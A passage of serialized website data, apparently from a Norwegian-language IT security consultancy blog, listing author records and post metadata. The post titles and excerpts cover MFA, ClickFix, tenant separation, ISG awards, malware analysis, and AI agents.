:13086},{"display_name":13212,"avatar":13213,"permalink":13214,"twitter":13086,"linkedin":13215},{"display_name":13217,"avatar":13218,"permalink":13219,"twitter":13220,"linkedin":13221},{"display_name":13223,"avatar":13224,"permalink":13225,"linkedin":13226,"twitter":13086},{"display_name":13228,"avatar":13229,"permalink":13230,"twitter":13086,"linkedin":13139},{"display_name":13232,"avatar":13233,"permalink":13234,"twitter":13235,"linkedin":13235,"imageOffsetTop":13075,"socials":13392},[13393,13394],{"text":13238,"href":13239},{"text":13241,"href":13242},{"display_name":13244,"avatar":13245,"permalink":13246,"twitter":13247,"linkedin":13248},{"display_name":13250,"avatar":13251,"permalink":13252,"twitter":13086,"linkedin":13139},{"display_name":13254,"avatar":13255,"permalink":13256,"twitter":13257,"linkedin":13139},{"display_name":13259,"avatar":13260,"permalink":13261,"twitter":13262,"linkedin":13263},{"display_name":13265,"avatar":13266,"permalink":13267,"twitter":13268,"linkedin":13268},{"display_name":13270,"avatar":13271,"permalink":13272,"twitter":13273,"linkedin":13274},{"display_name":13276,"avatar":13277,"permalink":13278,"twitter":13279,"linkedin":13280},{"display_name":13282,"avatar":13283,"permalink":13284,"linkedin":13285,"twitter":13086},{"display_name":13287,"avatar":13288,"permalink":13289,"linkedin":13290,"twitter":13086},{"display_name":13292,"avatar":13293,"permalink":13294,"linkedin":13295,"twitter":13296},{"display_name":13298,"avatar":13299,"permalink":13300,"linkedin":13301},{"display_name":13303,"avatar":13304,"permalink":13305,"linkedin":13306},{"display_name":13308,"avatar":13309,"permalink":13310,"linkedin":13311},{"display_name":13313,"avatar":13314,"permalink":13315,"linkedin":13316},{"display_name":13318,"avatar":13319,"permalink":13320,"linkedin":13321,"imageOffsetTop":13075},{"display_name":13323,"avatar":13324,"permalink":13325,"linkedin":13326,"imageOffsetTop":13075},{"display_name":13328,"avatar":13329,"permalink":13330,"linkedin":13331,"imageOffsetTop":13175},{"display_name":13333,"avatar":13334,"permalink":13335,"linkedin":13336,"imageOffsetTop":13175},{"display_name":523,"avatar":13338,"permalink":13339,"linkedin":13340,"imageOffsetTop":13175},{"display_name":13342,"avatar":13343,"permalink":13344,"linkedin":13345,"imageOffsetTop":13346,"imageOffsetLeft":13347},{"display_name":13349,"avatar":13350,"permalink":13351,"linkedin":13352,"imageOffsetTop":13353,"imageOffsetLeft":13354},{"display_name":13356,"avatar":13357,"permalink":13358,"linkedin":13359,"imageOffsetTop":13360,"imageOffsetLeft":13102},"Authors","1csawlkJxRljy93GTOnXEkwLqAv9Lcj-apxRvoodAOY",{"list":13420,"authors":13635},[13421,13438,13452,13466,13482,13495,13508,13521,13533,13549,13563,13579,13595,13606,13619],{"id":13422,"title":13423,"author":13424,"cta":494,"description":594,"hideInRecent":484,"layout":12939,"meta":13425,"moment":13430,"path":13431,"stem":13432,"tags":13433,"webcast":484},"content_no/posts/2026-09-22-end-of-mfa-sms.md","Slutten på MFA-SMS",[13097],{"lang":12941,"date":13426,"categories":13427,"blogtitlepic":13428,"customExcerpt":13429},"2026-09-21",[235],"head-conditional-access.jpg","Hvorfor bedrifter nå bør gå over til phishing-resistente og helst passordløse påloggingsmetoder.","2026-09-22","/posts/2026-09-22-end-of-mfa-sms","posts/2026-09-22-end-of-mfa-sms",[235,13434,13435,13436,13437],"Authentication","Microsoft Entra ID","MFA","Passkeys",{"id":13439,"title":13440,"author":13441,"cta":494,"description":594,"hideInRecent":484,"layout":12939,"meta":13442,"moment":13426,"path":13446,"stem":13447,"tags":13448,"webcast":484},"content_no/posts/2026-09-21-clickfix-prevent-detect.md","ClickFix. Når brukeren er exploiten, og hvordan dere stopper det",[13071,13091],{"lang":12941,"date":13426,"categories":13443,"blogtitlepic":13444,"customExcerpt":13445},[235],"head-clickfix.jpg","ClickFix gjør brukere til sin egen angriper: en forfalsket CAPTCHA, en kopier-lim-inn, og skadekode kjører i minnet uten at noe havner på disken. Hvordan Microsoft Defender oppdager angrepet, hvor deteksjonen kommer til kort, og hvordan dere lukker hullet med et RunMRU-hunt og fire beskyttelseslag.","/posts/2026-09-21-clickfix-prevent-detect","posts/2026-09-21-clickfix-prevent-detect",[13449,13450,13451],"Defender","SOC","Endpoint Security",{"id":13453,"title":13454,"author":13455,"cta":494,"description":594,"hideInRecent":484,"layout":12939,"meta":13456,"moment":13426,"path":13460,"stem":13461,"tags":13462,"webcast":484},"content_no/posts/2026-09-21-red-tenant-dark-tenant-cio.md","Admin og hverdag på samme maskin? Game Over.",[13232],{"lang":12941,"date":13426,"categories":13457,"blogtitlepic":13458,"customExcerpt":13459},[235],"head-game-over-en.jpg","Hvorfor én tenant ikke er nok for CIO-er, og hvorfor den andre sjelden blir tenkt på. Managed Red Tenant skiller administrativt arbeid arkitektonisk fra office-miljøet, Managed Dark Tenant holder bedriften handlekraftig når forsvaret likevel faller. Hva det betyr for driftsmodell, SOC-signal og dokumentasjonspliktene etter NISG 2026.","/posts/2026-09-21-red-tenant-dark-tenant-cio","posts/2026-09-21-red-tenant-dark-tenant-cio",[235,13463,13464,13465],"Privileged Access","Zero Trust","NIS2",{"id":13467,"title":13468,"author":13469,"cta":494,"description":13470,"hideInRecent":484,"layout":12939,"meta":13471,"moment":13472,"path":13477,"stem":13478,"tags":13479,"webcast":484},"content_no/posts/2026-08-08-isg-germany-2026.md","Fire ganger Leader. glueckkanja i ISG-studien Tyskland 2026",[13259],"ISG har endret navn på studien sin i år. Microsoft Cloud Ecosystem ble til Microsoft AI and Cloud Ecosystem, og med navnet har målestokken forskjøvet seg: det som vurderes, er ikke lenger hvem som innfører Microsoft-plattformer, men hvem som drifter Copilot, agenter og AI-workloads kontrollerbart. Den nye målestokken har ikke endret posisjonen vår. ISG Provider Lens®-studien Tyskland 2026 posisjonerer oss som Leader i fire kvadranter: Microsoft Productivity and Business Process Services og Azure Managed Services, både i Large Market og i Mid Market. Etter 2021, 2023, 2024 og 2025 er det den femte Leader-plasseringen i Tyskland, i Sveits kom spranget inn i Leader-kvadranten to uker tidligere.",{"lang":12941,"date":13472,"categories":13473,"blogtitlepic":13475,"customExcerpt":13476},"2026-08-08",[13474],"Corporate","head-isg-de-2026.png","ISG Provider Lens®-studien 2026 posisjonerer glueckkanja i Tyskland som Leader i fire kvadranter: Microsoft Productivity and Business Process Services og Azure Managed Services, både i Large og i Mid Market. Studien heter nå Microsoft AI and Cloud Ecosystem, og målestokken har forskjøvet seg: det som vurderes, er hvem som drifter AI- og agent-workloads kontrollerbart.","/posts/2026-08-08-isg-germany-2026","posts/2026-08-08-isg-germany-2026",[13480,13481],"Award","ISG",{"id":13483,"title":13484,"author":13485,"cta":494,"description":13486,"hideInRecent":484,"layout":12939,"meta":13487,"moment":13488,"path":13492,"stem":13493,"tags":13494,"webcast":484},"content_no/posts/2026-07-31-isg-switzerland-2026.md","Fra Rising Star til Leader. glueckkanja i ISG-studien Sveits 2026",[13259],"I 2024 grunnla vi glueckkanja Switzerland AG og flyttet inn i et kontor i zentroom på Bahnhofplatz 10b i Bern. I 2025 plasserte ISG oss i det sveitsiske markedet som Rising Star, altså den leverandøren analytikerne tror vil klare spranget inn i Leader-kvadranten. Nå er spranget dokumentert: ISG Provider Lens®-studien 2026 posisjonerer oss i Sveits som Leader i kvadranten Microsoft AI and Cloud Ecosystem, innen områdene Azure Managed Services og Microsoft Productivity and Business Process Services.",{"lang":12941,"date":13488,"categories":13489,"blogtitlepic":13490,"customExcerpt":13491},"2026-07-31",[13474],"head-isg-ch-2026.png","ISG Provider Lens®-studien 2026 posisjonerer glueckkanja i Sveits som Leader i kvadranten Microsoft AI and Cloud Ecosystem, innen områdene Azure Managed Services og Microsoft Productivity and Business Process Services. To år etter inntredenen i markedet i Bern, ett år etter Rising-Star-utmerkelsen.","/posts/2026-07-31-isg-switzerland-2026","posts/2026-07-31-isg-switzerland-2026",[13480,13481],{"id":13496,"title":13497,"author":13498,"cta":494,"description":594,"hideInRecent":484,"layout":12939,"meta":13499,"moment":13500,"path":13504,"stem":13505,"tags":13506,"webcast":484},"content_no/posts/2026-07-24-outbreak-openai-hugging-face.md","Outbreak. Hva OpenAI/Hugging-Face-hendelsen avslører, og hva den ikke gjør",[13232],{"lang":12941,"date":13500,"categories":13501,"blogtitlepic":13502,"customExcerpt":13503},"2026-07-24",[235],"head-outbreak.jpg","En AI-agent bryter seg ut av testmiljøet sitt, finner en zero-day og hacker et annet selskap. Høres ut som et filmmanus, men skjedde faktisk i juli 2026. På tide med en nøktern vurdering: med litt psykologi, to security-veteraner og spørsmålet om hva dette betyr for forsvaret deres.","/posts/2026-07-24-outbreak-openai-hugging-face","posts/2026-07-24-outbreak-openai-hugging-face",[13507,13450,13464],"AI",{"id":13509,"title":13510,"author":13511,"cta":494,"description":13512,"hideInRecent":484,"layout":12939,"meta":13513,"moment":13514,"path":13518,"stem":13519,"tags":13520,"webcast":484},"content_no/posts/2026-07-22-isg-cybersecurity-2026.md","Leader og Rising Star. glueckkanja i ISG-studien Cybersecurity 2026",[13259],"Ny i kvadranten og Leader med én gang: ISG Provider Lens®-studien «Cybersecurity – Services and Solutions 2026» posisjonerer glueckkanja som Leader innen Next-Gen SOC/MDR Services for det tyske mellommarkedet. I totalmarkedet for Next-Gen SOC/MDR Services kårer ISG oss til Rising Star, altså den leverandøren analytikerne tror vil klare spranget inn i Leader-kvadranten innen de neste 12 til 24 månedene.",{"lang":12941,"date":13514,"categories":13515,"blogtitlepic":13516,"customExcerpt":13517},"2026-07-22",[13474],"head-isg-cybersecurity-2026.png","ISG Provider Lens®-studien Cybersecurity 2026 kårer glueckkanja til Leader i kvadranten Next-Gen SOC/MDR Services (Midmarket). I totalmarkedet for Next-Gen SOC/MDR Services er vi Rising Star. ISG framhever vekst over gjennomsnittet, dyp Microsoft-security-ekspertise og et 24/7 SOC driftet fra Tyskland.","/posts/2026-07-22-isg-cybersecurity-2026","posts/2026-07-22-isg-cybersecurity-2026",[13480,13481,235],{"id":13522,"title":13523,"author":13524,"cta":494,"description":13525,"hideInRecent":484,"layout":12939,"meta":13526,"moment":13527,"path":13530,"stem":13531,"tags":13532,"webcast":484},"content_no/posts/2026-07-06-the-holy-trinity.md","The Holy Trinity: Hva AI faktisk trenger for å jobbe",[13259],"En produksjonsbedrift vil vite hvilke av sine 14 000 SKU-er som faktisk er lønnsomme. Svaret ligger i tre systemer som aldri har utvekslet ett eneste datapunkt med hverandre. Til for kort tid siden kostet det tre avdelinger, to uker og en god del velvilje å få det. Siden begynnelsen av 2026 kan en AI besvare dette spørsmålet på minutter: søke gjennom dataene, etablere sammenhenger, produsere en anbefaling. Forutsatt at den har tilgang.",{"lang":12941,"date":13527,"categories":13528,"blogtitlepic":13529},"2026-07-06",[131],"head-the-holy-trinity","/posts/2026-07-06-the-holy-trinity","posts/2026-07-06-the-holy-trinity",[13507,131],{"id":13534,"title":13535,"author":13536,"cta":494,"description":13537,"hideInRecent":484,"layout":12939,"meta":13538,"moment":13539,"path":13543,"stem":13544,"tags":13545,"webcast":484},"content_no/posts/2026-07-01-onboarding-process.md","Kontrakten er signert: Slik foregår onboardingen din hos oss",[13349],"Hvordan foregår egentlig onboardingen hos dere? Et spørsmål som stadig dukker opp i samtaler med søkere, for mange har allerede opplevd at en onboarding går trått. Desto viktigere er det for oss å gi deg en god følelse helt fra starten.",{"lang":12941,"date":13539,"categories":13540,"blogtitlepic":13541,"customExcerpt":13542},"2026-07-01",[13474],"Onboarding_Blogheader","Kontrakten er signert, det første store steget er tatt. Men hva skjer nå? Vi tar deg med bak kulissene i onboardingen vår, fra PreBoarding til den første uka i teamet.","/posts/2026-07-01-onboarding-process","posts/2026-07-01-onboarding-process",[13546,13547,13548],"Employer Branding","Onboarding","Unternehmenskultur",{"id":13550,"title":13551,"author":13552,"cta":494,"description":13553,"hideInRecent":484,"layout":12939,"meta":13554,"moment":13555,"path":13559,"stem":13560,"tags":13561,"webcast":484},"content_no/posts/2026-06-26-frontier-partner.md","Microsoft Frontier Partner: vi er en av dem",[13259],"I Microsofts partnerøkosystem finnes det en hel rekke anerkjennelser, og likevel skiller Frontier Partner Badge seg fra de andre utmerkelsene i måten den er lagt opp på. Den kan ikke søkes om, men tildeles på Microsofts initiativ til en eksklusiv gruppe partnere som må overbevise i flere disipliner parallelt, i stedet for å briljere i én enkelt. Microsoft vurderer dokumentert kompetanse i Cloud & AI Platforms, i AI Business Solutions og i Security likeverdig, og henvender seg dermed til virksomheter som ikke ser AI som et påheng på eksisterende IT, men som resultatet av en gjennomgående arkitektur som bærer fra identiteten via endepunktet og helt inn i produktiv AI-drift.",{"lang":12941,"date":13555,"categories":13556,"blogtitlepic":13557,"customExcerpt":13558},"2026-06-26",[13474],"head-frontier-partner-badge.jpg","Nylig har Microsoft AI Cloud Partner Program fått en ny toppanerkjennelse, Frontier Partner Badge. Microsoft tildeler den utelukkende til en eksklusiv gruppe partnere verden over som leverer AI-prosjekter på hele Microsoft-stacken på en bærekraftig måte, fra arbeidsplassen via cloud-plattformen og security til selve AI-anvendelsen, og som har dokumentert dette i praksis. I DACH-området teller denne gruppen bare en håndfull selskaper, og vi er ett av dem.","/posts/2026-06-26-frontier-partner","posts/2026-06-26-frontier-partner",[13480,13562,13507],"Microsoft Partner",{"id":13564,"title":13565,"author":13566,"cta":494,"description":13567,"hideInRecent":484,"layout":12939,"meta":13568,"moment":13569,"path":13573,"stem":13574,"tags":13575,"webcast":484},"content_no/posts/2026-06-09-vair-run.md","160 kilometer for en god sak",[13356],"Søndag morgen, klokka 8:30, Holbeinsteg ved Main. Elleve kolleger i like NinjaCat-skjorter, klare for Frankfurter Runden. Regn, lyn og torden inkludert. Å løpe for en god sak var motivasjon nok til å snøre løpeskoene tross det dårlige været.",{"lang":12941,"date":13569,"categories":13570,"blogtitlepic":13571,"customExcerpt":13572},"2026-06-08",[13474],"frankfurter-runden.png","Elleve kolleger, 16 runder, 160 kilometer, et tordenvær og en pallplassering: glueckkanja var med på Frankfurter Runden 2026 og donerte for hver løpte runde til VAIR e.V., som bygger en inkluderende sports- og kulturpark i Offenbach.","/posts/2026-06-09-vair-run","posts/2026-06-09-vair-run",[13576,13546,13577,13578],"Top Arbeitgeber","Soziales Engagement","| NO",{"id":13580,"title":13581,"author":13582,"cta":494,"description":13583,"hideInRecent":484,"layout":12939,"meta":13584,"moment":13585,"path":13589,"stem":13590,"tags":13591,"webcast":484},"content_no/posts/2026-04-10-incident-to-intelligence.md","Anatomien til en ukjent AMOS Stealer: Fra alert til immunitet på timer",[523],"Når en alert utløses i vårt SOC, begynner klokken å gå: ikke bare for den berørte kunden, men for alle organisasjoner under vår beskyttelse. Det farligste øyeblikket i dagens trusselbilde er Intelligence Gap, altså tidsvinduet mellom første gang en ny malware-variant tas i bruk og den dagen bransjen får vite om den.",{"lang":12941,"date":13585,"categories":13586,"blogtitlepic":13587,"customExcerpt":13588},"2026-04-10",[235],"head-amos-stealer.png","En hittil udokumentert AMOS-Stealer-variant kompromitterte et macOS-endpoint. Ingen kjente hasher, ingen C2-data i offentlige databaser. Vårt SOC demonterte seks obfuskeringslag, hentet ut alle indikatorene og distribuerte beskyttelsen til samtlige SOC-kunder i løpet av timer, før bransjen i det hele tatt hadde sett samplet.","/posts/2026-04-10-incident-to-intelligence","posts/2026-04-10-incident-to-intelligence",[13061,13592,13593,13594,13062],"Incident Response","macOS Security","Malware Analysis",{"id":13596,"title":13597,"author":13598,"cta":494,"description":13599,"hideInRecent":484,"layout":12939,"meta":13600,"moment":13601,"path":13604,"stem":13605,"tags":494,"webcast":484},"content_no/posts/2026-03-21-microsoft-edge-corporate-browser.md","Derfor bør Edge være deres eneste corporate browser",[13128],"Valget av nettleser er en strategisk beslutning i bedriftsmiljøer: det påvirker direkte hvor mye sikkerhet og administrasjonsarbeid du faktisk får. Google Chrome var lenge det åpenbare valget, men Microsoft Edge har utviklet seg til en nettleser som griper direkte inn i den eksisterende stacken, særlig når Microsoft 365 er i bruk og administrasjonen går via Intune.",{"lang":12941,"date":13601,"blogtitlepic":13602,"customExcerpt":13603},"2026-03-21","head-microsoft-edge-default-browser.jpg","Ingen virksomhet har egentlig valgt Chrome; den var bare der, med sin egen sync-logikk, sin egen kontoadministrasjon, sitt eget grensesnitt for policyer. Microsoft Edge griper derimot rett inn i infrastrukturen som allerede kjører: Entra ID, Intune, Defender. Dette innlegget viser hvordan overgangen ser ut, hvordan Chrome omdirigeres til en landingsside via Intune-policy, og hva som faller bort når du slutter å drifte to nettlesere parallelt.","/posts/2026-03-21-microsoft-edge-corporate-browser","posts/2026-03-21-microsoft-edge-corporate-browser",{"id":13607,"title":13608,"author":13609,"cta":494,"description":13610,"hideInRecent":484,"layout":12939,"meta":13611,"moment":13612,"path":13616,"stem":13617,"tags":13618,"webcast":484},"content_no/posts/2026-03-20-stryker-attack-intune-privilege.md","En admin-konto var alt som skulle til.",[13232],"Onsdag 11. mars 2026. Ansatte i Stryker-kontorer i 79 land slo på datamaskinene sine og fant dem tomme. Innloggingsskjermer erstattet av en logo. Firmalaptoper, tjenestemobiler, private enheter registrert i selskapets BYOD-program, alle slettet samtidig, over natten. Ingen ransomware, ingen malware-signaturer, ingenting som et endpoint-detection-verktøy kunne ha fanget opp.",{"lang":12941,"date":13612,"categories":13613,"blogtitlepic":13614,"customExcerpt":13615},"2026-03-20",[235],"head-stryker.jpg","Den 11. mars 2026 slettet Handala enheter i 79 land, og alt som skulle til, var en kompromittert Intune-admin-konto. Ingen malware, ingen exploit, bare legitime management-verktøy vendt mot sine egne eiere. Hva som skjedde, hvorfor det virket, og hvilke to arkitektoniske hull som må tettes.","/posts/2026-03-20-stryker-attack-intune-privilege","posts/2026-03-20-stryker-attack-intune-privilege",[71,13463,13464],{"id":13620,"title":13621,"author":13622,"cta":494,"description":13623,"hideInRecent":484,"layout":12939,"meta":13624,"moment":13625,"path":13629,"stem":13630,"tags":13631,"webcast":484},"content_no/posts/2026-03-16-ai-agent-hackathon.md","Seks Agents. Fire uker. Ekte drift.",[13259],"Hvor mange timer bruker IT-avdelingen din per uke på oppgaver som en Agent kunne løst på minutter?",{"lang":12941,"date":13625,"categories":13626,"blogtitlepic":13627,"customExcerpt":13628},"2026-03-16",[13474],"head-ai-agent-hackathon.jpg","Seks selskaper, fire ukers byggefase, seks fungerende AI Agents. Det var den første glueckkanja AI Agent Hackathon. Kiekert, Dr. Oetker, Eckes-Granini, igefa og lila logistik bygde Agents i Copilot Studio som i dag kjører i produksjon. Hva som kom ut av det, og hvordan formatet fungerer.","/posts/2026-03-16-ai-agent-hackathon","posts/2026-03-16-ai-agent-hackathon",[13507,13632,13633,13634],"Copilot Studio","Hackathon","AI Agents",{"Karsten Kleinschmidt":13636,"Fritz Zurhorst":13637,"Nadine Klein":13638,"Jan Geisbauer":13639,"Carolin Kanja":13643,"Anna Ulbricht":13644,"Annette Brauns":13645,"Pascal Asch":13646,"Steffen Schwerdtfeger":13647},{"display_name":13097,"avatar":13098,"permalink":13099,"twitter":13100,"linkedin":13101,"imageOffsetTop":13102,"imageOffsetLeft":13103},{"display_name":13071,"avatar":13072,"permalink":13073,"linkedin":13074,"imageOffsetTop":13075},{"display_name":13091,"avatar":13092,"permalink":13093,"twitter":13094,"linkedin":13095,"imageOffsetTop":13075},{"display_name":13232,"avatar":13233,"permalink":13234,"twitter":13235,"linkedin":13235,"imageOffsetTop":13075,"socials":13640},[13641,13642],{"text":13238,"href":13239},{"text":13241,"href":13242},{"display_name":13259,"avatar":13260,"permalink":13261,"twitter":13262,"linkedin":13263},{"display_name":13349,"avatar":13350,"permalink":13351,"linkedin":13352,"imageOffsetTop":13353,"imageOffsetLeft":13354},{"display_name":13356,"avatar":13357,"permalink":13358,"linkedin":13359,"imageOffsetTop":13360,"imageOffsetLeft":13102},{"display_name":523,"avatar":13338,"permalink":13339,"linkedin":13340,"imageOffsetTop":13175},{"display_name":13128,"avatar":13129,"permalink":13130,"linkedin":13131,"twitter":13132,"imageOffsetTop":13133,"imageOffsetLeft":13134},{"id":13066,"extension":13067,"meta":13649,"stem":8,"__hash__":13418},{"Pascal Asch":13650},{"display_name":523,"avatar":13338,"permalink":13339,"linkedin":13340,"imageOffsetTop":13175},1791383945399]